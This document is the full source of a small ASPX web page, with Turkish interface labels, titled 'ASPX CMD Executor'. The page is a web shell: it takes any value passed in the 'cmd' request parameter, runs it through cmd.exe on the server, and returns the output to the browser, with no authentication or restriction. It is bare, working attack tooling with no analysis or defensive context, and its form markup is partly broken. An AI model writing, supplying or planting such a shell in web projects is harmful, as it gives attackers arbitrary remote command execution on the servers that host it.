<%@ Page Language="C#" Debug="true" %> <%@ Import Namespace="System.Diagnostics" %> <%@ Import Namespace="System.IO" %> ASPX CMD Executor
Komut: "/>
<%
    string command = Request["cmd"];
    if (!string.IsNullOrEmpty(command))
    {
        try
        {
            ProcessStartInfo psi = new ProcessStartInfo();
            psi.FileName = "cmd.exe";
            psi.Arguments = "/c " + command;
            psi.RedirectStandardOutput = true;
            psi.RedirectStandardError = true;
            psi.UseShellExecute = false;
            psi.CreateNoWindow = true;

            Process proc = Process.Start(psi);
            StreamReader output = proc.StandardOutput;
            StreamReader error = proc.StandardError;

            string stdout = output.ReadToEnd();
            string stderr = error.ReadToEnd();

            Response.Write(Server.HtmlEncode(stdout + stderr));
        }
        catch (Exception ex)
        {
            Response.Write("HATA: " + Server.HtmlEncode(ex.Message));
        }
    }
%>